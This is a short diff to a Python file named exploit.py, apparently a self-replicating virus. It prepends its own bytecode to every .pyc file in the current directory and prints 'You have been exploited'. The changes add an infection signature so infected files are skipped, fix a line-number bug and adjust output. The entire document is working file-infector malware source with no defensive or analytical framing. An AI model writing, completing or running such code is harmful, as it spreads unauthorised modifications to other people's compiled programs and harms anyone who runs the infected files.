Its working

exploit.py

@@ -29,6 +29,7 @@
 
 # Many thanks to Greg X for adding support for Python 2.6 and 2.7!
 
+signature = "DC9723"
 __version__ = '0.2'
 
 __all__ = ['opmap', 'opname', 'opcodes',
@@ -802,18 +803,22 @@ def index(seq, item, eq=operator.eq, can_append=True):
 head = f.read(8)
 data = Code.from_code(marshal.loads(f.read()))
 f.close()
-
-exploit = data.code[:484]
+EXPLOIT_SIZE = 485
+exploit = data.code[:EXPLOIT_SIZE]
 
 def infect(f_to_infect):
  f = open(f_to_infect)
  head = f.read(8)
  data = Code.from_code(marshal.loads(f.read()))
+ if data.code[1][1] == signature:
+ return
+
+ print f_to_infect
  f.close()
  lines = []
  for i, op in enumerate(data.code):
  if op[0] == SetLineno:
- data.code[i] = (SetLineno, op[2]+840)
+ data.code[i] = (SetLineno, op[1]+840)
 
  data.code[:0] = exploit
  #Check for errors
@@ -825,7 +830,6 @@ def infect(f_to_infect):
 import glob
 for i in glob.glob("./*pyc"):
  if i!='./'+__file__:
- print i
  infect(i)
 
 print "You have been exploited"